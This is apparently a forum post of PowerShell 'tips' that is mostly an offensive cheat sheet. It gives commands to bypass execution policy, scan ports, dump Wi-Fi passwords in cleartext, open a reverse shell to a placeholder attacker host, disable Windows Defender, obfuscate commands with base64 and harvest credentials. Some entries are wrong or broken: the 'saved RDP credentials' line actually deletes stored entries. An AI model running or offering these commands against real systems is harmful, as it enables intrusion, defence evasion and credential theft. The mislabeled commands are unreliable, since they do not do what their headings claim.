Powershell tips

[jlnelmes]

Here are some PS commands that may be useful for you
Execution Policy Bypass

powershell -ep bypass

Enumerating System Information

Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *

Extracting Network Configuration

Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer

Listing Running Processes with Details

Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending

Scanning for Open Ports

1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }

Retrieving Stored Credentials

$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password

Executing Remote Commands

Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)

Enumerating Domain Users

Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate

Extracting Wi-Fi Profiles and Passwords

netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }

Creating Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535...

Disabling Windows Defender

Set-MpPreference -DisableRealtimeMonitoring $true

String Obfuscation

$originalString = 'SensitiveCommand'; $obfuscatedString = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($originalString)); $decodedString = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($obfuscatedString)); Invoke-Expression $decodedString

File Path Obfuscation

$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz')); Invoke-Item $path

Base64 Encoding for Command Obfuscation

$command = 'Get-Process'; $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)); powershell.exe -EncodedCommand $encodedCommand

Extracting Credentials from Windows Credential Manager

$credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password

Extracting Saved RDP Credentials

cmdkey /list | Select-String 'Target: TERMSRV' | ForEach-Object { cmdkey /delete:($_ -split ' ')[-1] }